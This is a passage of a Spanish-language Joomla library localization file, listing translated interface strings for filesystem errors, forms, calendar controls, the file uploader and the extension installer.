JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="No se ha podido cargar la clase del documento" JLIB_ENVIRONMENT_SESSION_EXPIRED="La sesión ha expirado, por favor, identifíquese nuevamente." JLIB_ERROR_INFINITE_LOOP="Se ha detectado un bucle infinito en el 'JError'" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: Evento del manejador no reconocido. Manejador: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 no soportado" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="No se ha podido leer el archivo (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="No se ha podido escribir el archivo (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="No se ha podido escribir el archivo (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib no soportado" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="No se ha podido leer el archivo (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="No se ha podido escribir el archivo (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="No se ha podido escribir el archivo (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="No se pueden descomprimir los datos" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="No se ha podido leer el archivo (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="No se pueden descomprimir los datos" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="No se ha podido crear destino" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="No se ha podido escribir la entrada" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib no soportado" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="No se ha podido leer el archivo (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Tomar la información del ZIP fallido" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="No se ha podido crear el destino" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="No se ha podido escribir la entrada" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="No se ha podido leer la entrada" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="No se ha podido abrir el archivo" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Datos ZIP inválidos" JLIB_FILESYSTEM_STREAM_FAILED="Fallo al registrar la cadena de flujo" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Tipo de archivo desconocido" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="No se ha podido cargar el archivo" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copiar: No se ha podido encontrar o leer el archivo: $%s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copiar(%1$s, %2$s): %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Copia fallida" JLIB_FILESYSTEM_DELETE_FAILED="Fallo borrando %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="No se ha podido encontrar el archivo de origen" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :mover: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Renombramiento fallido" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :leer: No se ha podido abrir el archivo: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :escribir(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile: :subida: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Advertencia: ¡Fallo al cambiar los permisos del archivo!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Advertencia: ¡Fallo al mover el archivo!" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="No se ha podido encontrar la carpeta de origen" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="La carpeta ya existe" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="No se ha podido crear la carpeta de destino" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="No se ha podido abrir la carpeta de origen" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Detectado bucle infinito" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="La ruta no está entre las rutas del 'open_basedir'" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="No se ha podido crear el directorio" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="No puede borrar un directorio base." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: La ruta no es una carpeta. Ruta: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: No se ha podido borrar el directorio. Ruta: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Renombrado fallido: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: La ruta no es una carpeta. Ruta: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: La ruta no es una carpeta. Ruta: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Fallo al obtener el peso del archivo. ¡Esto puede que no funcione en todos los casos!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="Archivo sin abrir" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Nombre del archivo no asignado" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Advertencia: Sin datos escritos" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Fallo al abrir escritura: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Fallo al abrir el lector: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="¡No es un archivo subido!" JLIB_FORM_BUTTON_CLEAR="Limpiar" JLIB_FORM_BUTTON_SELECT="Seleccionar" JLIB_FORM_CHANGE_IMAGE="Cambiar imagen" JLIB_FORM_CHANGE_IMAGE_BUTTON="Cambiar la imagen del botón" JLIB_FORM_CHANGE_USER="Seleccionar usuario" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="El atributo de la extensión está vacío en el campo de la categoría" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Tipo de elemento desconocido: %s" JLIB_FORM_ERROR_NO_DATA="Sin datos" JLIB_FORM_ERROR_VALIDATE_FIELD="Campo xml inválido" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="Archivo XML no cargado" JLIB_FORM_INVALID_FORM_OBJECT="Objeto del formulario inválido: :%s" JLIB_FORM_INVALID_FORM_RULE="Regla del formulario inválida: :%s" JLIB_FORM_MEDIA_PREVIEW_ALT="Imagen seleccionada" JLIB_FORM_MEDIA_PREVIEW_EMPTY="Sin imagen seleccionada." JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Imagen seleccionada" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Vista previa" JLIB_FORM_SELECT_USER="Seleccionar un usuario" JLIB_FORM_VALIDATE_FIELD_INVALID="Campo inválido: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Campo requerido: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Regla de validación no encontrada: %s" JLIB_FORM_VALUE_CACHE_APC="Caché alternativa de PHP" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="Archivo" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_WINCACHE="Caché Windows" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Caché alternativa de PHP" JLIB_FORM_VALUE_SESSION_DATABASE="Base de datos" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="Ninguno" JLIB_FORM_VALUE_SESSION_WINCACHE="Caché Windows" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Horario universal coordinado (UTC)" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Tabla" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="Tabla de sumario ACL" JLIB_HTML_ACCESS_SUMMARY_DESC="Lo que se muestra más abajo es una vista general de la configuración de los permisos para este artículo. Haga clic sobre las pestañas de más arriba para personalizar esta configuración por acciones." JLIB_HTML_ACCESS_SUMMARY="Sumario" JLIB_HTML_ADD_TO_ROOT="Añadir a la raíz" JLIB_HTML_ADD_TO_THIS_MENU="Añadir a este menú" JLIB_HTML_BATCH_ACCESS_LABEL="Asignar nivel de acceso" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Si no realiza ninguna selección se usará el nivel de acceso original cuando se procese." JLIB_HTML_BATCH_COPY="Copiar" JLIB_HTML_BATCH_LANGUAGE_LABEL="Asignar idioma" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Si no realiza una selección se mantendrá el idioma original en el proceso." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Mantener el idioma original -" JLIB_HTML_BATCH_MENU_LABEL="Seleccionar categoría a mover o copiar" JLIB_HTML_BATCH_MOVE="Mover" JLIB_HTML_BATCH_NOCHANGE="- Mantener niveles de acceso originales -" JLIB_HTML_BATCH_USER_LABEL="Asignar usuario" JLIB_HTML_BATCH_USER_LABEL_DESC="Si no se realiza ninguna selección se mantendrán los originales durante el proceso por lotes." JLIB_HTML_BATCH_USER_NOCHANGE="- Mantener el usuario original -" JLIB_HTML_BATCH_USER_NOUSER="Sin usuario" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="Sobre el calendario" JLIB_HTML_BEHAVIOR_CLOSE="Cerrar" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Selección de fecha:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Mostrar primer %s" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Arrastre para mover" JLIB_HTML_BEHAVIOR_GO_TODAY="Ir a hoy" JLIB_HTML_BEHAVIOR_GREEN="Verde" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Haga clic sobre cualquiera de los botones de arriba y manténgalos presionados para una selección más rápida." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Use los botones '<' y '>' para seleccionar el mes\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Haga clic para moverse al mes siguiente. Haga clic y mantenga presionado para que se listen los meses." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Haga clic para moverse al año siguiente. Haga clic y mantenga presionado para que se listen los años." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Haga clic para moverse al mes anterior. Haga clic y mantenga presionado para que se listen los meses." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Haga clic para moverse al año anterior. Haga clic y mantenga presionado para que se listen los años." JLIB_HTML_BEHAVIOR_SELECT_DATE="Seleccionar una fecha." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="Haga ('Shift+')clic o arrástrelo para cambiar el valor." JLIB_HTML_BEHAVIOR_TIME="Hora:" JLIB_HTML_BEHAVIOR_TODAY="Hoy" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%a, %b %e" JLIB_HTML_BEHAVIOR_WK="Semana" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Use los botones '«' y '»' para seleccionar el año\n" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Respuesta del servidor inválida" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Error de transferencia" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Error de seguridad" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Subida completada." JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="Archivo subido correctamente." JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="Se ha producido un error: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="Todos los archivos (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Progreso general {total}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Archivos subidos" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Borrar" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Eliminar título" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{nombre}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Archivo actual: {nombre}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Progreso actual" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="Error de archivo" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="El archivo ya existe" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Demasiados archivos" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="El tamaño total de las subidas es demasiado grande" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="El archivo es demasiado grande" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="El archivo es demasiado pequeño" JLIB_HTML_BUTTON_BASE_CLASS="No se ha podido cargar la clase base del botón." JLIB_HTML_BUTTON_NO_LOAD="No se ha podido cargar el botón %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Botón no definido para el tipo = %s" JLIB_HTML_CALENDAR="Calendario" JLIB_HTML_CHECKED_OUT="Bloquear" JLIB_HTML_CHECKIN="Desbloquear" JLIB_HTML_CLOAKING="Esta dirección de correo electrónico está siendo protegida contra los robots de spam. Necesita tener JavaScript habilitado para poder verlo." JLIB_HTML_DATE_RELATIVE_DAYS="Hace %s días" JLIB_HTML_DATE_RELATIVE_DAYS_1="Hace %s día" JLIB_HTML_DATE_RELATIVE_DAYS_0="Hace %s días" JLIB_HTML_DATE_RELATIVE_HOURS="Hace %s horas" JLIB_HTML_DATE_RELATIVE_HOURS_1="Hace %s hora" JLIB_HTML_DATE_RELATIVE_HOURS_0="Hace %s horas" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Hace menos de un minuto" JLIB_HTML_DATE_RELATIVE_MINUTES="Hace %s minutos" JLIB_HTML_DATE_RELATIVE_MINUTES_1="Hace %s minuto" JLIB_HTML_DATE_RELATIVE_MINUTES_0="Hace %s minutos" JLIB_HTML_DATE_RELATIVE_WEEKS="Hace %s semanas" JLIB_HTML_DATE_RELATIVE_WEEKS_1="Hace %s semana" JLIB_HTML_DATE_RELATIVE_WEEKS_0="Hace %s semanas" JLIB_HTML_EDITOR_CANNOT_LOAD="No se ha podido cargar el editor" JLIB_HTML_END="Final" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Función no soportada." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s no encontrado en el archivo." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s no soportado. Archivo no encontrado." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s no soportado." JLIB_HTML_MOVE_DOWN="Mover abajo" JLIB_HTML_MOVE_UP="Mover arriba" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="No hay parámetros para este elemento" JLIB_HTML_NO_RECORDS_FOUND="Sin registros encontrados" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Página %s de %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Por favor, primero haga una selección desde la lista" JLIB_HTML_PUBLISH_ITEM="Publicar elemento" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Expirado" JLIB_HTML_PUBLISHED_FINISHED="Final: %s" JLIB_HTML_PUBLISHED_ITEM="Actualmente publicado" JLIB_HTML_PUBLISHED_PENDING_ITEM="Pendiente de publicación" JLIB_HTML_PUBLISHED_START="Inicio: %s" JLIB_HTML_RESULTS_OF="Resultados %s - %s de %s" JLIB_HTML_SAVE_ORDER="Guardar orden" JLIB_HTML_SELECT_STATE="Seleccionar estado" JLIB_HTML_START="Inicio" JLIB_HTML_UNPUBLISH_ITEM="Despublicar elemento" JLIB_HTML_VIEW_ALL="Ver todo" JLIB_HTML_SETDEFAULT_ITEM="Asignar predeterminado" JLIB_HTML_UNSETDEFAULT_ITEM="Desasignar predeterminado" JLIB_INSTALLER_ABORT="Abortando la instalación del idioma: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="La extensión ya está instalada" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Error construyendo los menús de la administración" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Instalar componente: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar componente: Rutina personalizada de instalación fallida" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Instalar componente: No se ha podido copiar el archivo PHP de manifiesto." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Instalar componente: No se ha podido copiar el archivo PHP de instalación." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Instalar componente: No se ha podido copiar el archivo PHP de desinstalación." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Instalar componente: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Instalar componente: Archivo de error SQL %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Actualización del componente: El archivo XML no contiene ningún elemento de la administración" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Actualización del componente: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Actualización del componente: No se ha podido copiar el archivo PHP de manifiesto." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Actualización del componente: No se ha podido copiar el archivo PHP de instalación." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Actualización del componente: No se ha podido copiar el archivo PHP de desinstalación." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Actualización del componente: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Actualización del componente: Archivo de error SQL %s" JLIB_INSTALLER_ABORT_DEBUG="Instalación terminada inesperadamente:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="No se ha podido detectar el archivo de manifiesto" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="La extensión no es válida" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Instalar archivos: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar archivos: Fallo en la rutina personalizada de instalación" JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Instalar archivos: Fallo para encontrar el directorio %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Instalar archivos: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Archivos %1$s: Error SQL en el archivo %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Instalar archivos: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Instalar archivos: Ya existe otra extensión con el mismo nombre." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Actualización de archivos: error SQL en el archivo %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Instalar librería: La librería ya está instalada" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Instalar librería: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Instalar librería: Fallo al crear el directorio: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Instalar librería: Sin archivo de la librería especificado" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Instalar librería: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Fallo al cargar los detalles de la extensión" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Método no soportado por este tipo de extensión" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Método no soportado por este tipo de extensión: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Instalar módulo: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Módulo %1$s: Fallo al crear el directorio: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar módulo: Rutina personalizada de instalación fallida" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Módulo %1$s: Ya hay otro módulo usando este directorio: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Instalación del módulo: No se puede copiar el archivo de manifiesto." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Módulo %s: Sin archivo del módulo especificado" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Módulo %1$s: Archivo de error SQL %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Módulo %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Desinstalar módulo: Tipo de cliente desconocido [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Módulo %1$s: Tipo de cliente desconocido [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="La ruta de instalación no existe" JLIB_INSTALLER_ABORT_NOUPDATEPATH="La ruta de actualización no existe" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Paquete de instalación: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Paquete de instalación: Fallo al crear el directorio:%s " JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Paquete %1$s: Se produjo un error instalando la extensión: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Paquete %s: ¡No hay archivos a instalar!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Paquete %s: Sin archivo del paquete especificado" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Paquete de instalación %s" JLIB_INSTALLER_ABORT_PACKAGE_INSTALL_CUSTOM_INSTALL_FAILURE="Paquete de instalación: La rutina de instalación personalizada ha fallado" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Plugin %1$s: Plugin %2$s ya existe" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Plugin %s: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Plugin %1$s: Fallo al crear el directorio: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar plugin: Rutina personalizada de instalación fallida" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Plugin %1$s: Ya hay otro plugin usando el directorio: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: No se ha podido copiar el archivo PHP de manifiesto." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Plugin %s: sin archivo del plugin especificado" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Plugin %1$s: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1$s: Archivo de error SQL %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Desinstalar plugin: Archivo de error SQL %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Actualización del manifiesto en caché fallido: La extensión actualmente no está instalada." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Actualización del manifiesto en caché fallido: La extensión no es válida." JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Instalar plantilla: La plantilla ya está instalada" JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Instalar plantilla: Ya hay una plantilla usando el nombre de directorio: %s. ¿Está intentando instalar la misma plantilla otra vez?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Instalar plantilla: No se ha podido copiar el archivo de configuración." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Instalar plantilla: Fallo al crear el directorio: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Instalar plantilla: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Instalar plantilla: Tipo de cliente desconocido [%s]" JLIB_INSTALLER_DEFAULT_STYLE="%s - Predeterminado" JLIB_INSTALLER_DISCOVER="Descubrir" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Instalador de componentes descubiertos: Fallo al almacenar los detalles del componente" JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Instalar componente: El archivo XML no contiene ningún elemento de la administración" JLIB_INSTALLER_AVAILABLE_UPDATE_PHP_VERSION="hay una actualización para la versión de la extensión %1$s a la %2$s pero es necesaria por lo menos la versión de PHP %3$s mientras que su sistema solo dispone de la versión %4$s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Instalar componente: Otro componente ya está usando el directorio: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Instalar componente: Otro componente ya está usando el directorio: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Instalar componente: Fallo al crear el directorio de la administración: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Instalar componente: Fallo al crear el directorio del sitio: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Actualizar manifiesto del componente en caché: Fallo al almacenar los detalles del componente" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="No se pueden borrar los menús de la administración." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Desinstalar componente: El script de desinstalación se ha ejecutado sin producir un resultado satisfactorio" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Desinstalación del componentel: No se ha podido borrar el componente categorías" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Desinstalar componente: No se ha podido desinstalar. Por favor, elimínelo manualmente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar componente: Extensión desconocida" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Desinstalar componente: No se ha podido borrar el directorio del componente en la administración" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Desinstalar componente: No se ha podido borrar el directorio del componente en el sitio" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Desinstalar componente: Campo de opción vacío, no se pueden eliminar los archivos" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Desinstalar componente: Archivo de error SQL %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Desinstalar componente: Está intentando desinstalar un componente del núcleo" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Actualización del componente: Fallo al crear el directorio de la administración: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Actualización del componente: Fallo al crear el directorio del sitio: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Instalar: Fallo al crear el directorio: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Fallo al crear el directorio [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Formato de instalación en desuso (cliente="_QQ_"ambos"_QQ_"), en futuras ocasiones use el instalador de paquetes" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Error conectando al servidor: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Instalar: Fallo copiando el archivo %1$s a %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Instalar: Fallo copiando la carpeta %1$s a %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Fallo leyendo el recurso de la red de trabajo: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Instalar: El archivo ya existe %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Desinstalador de archivos: 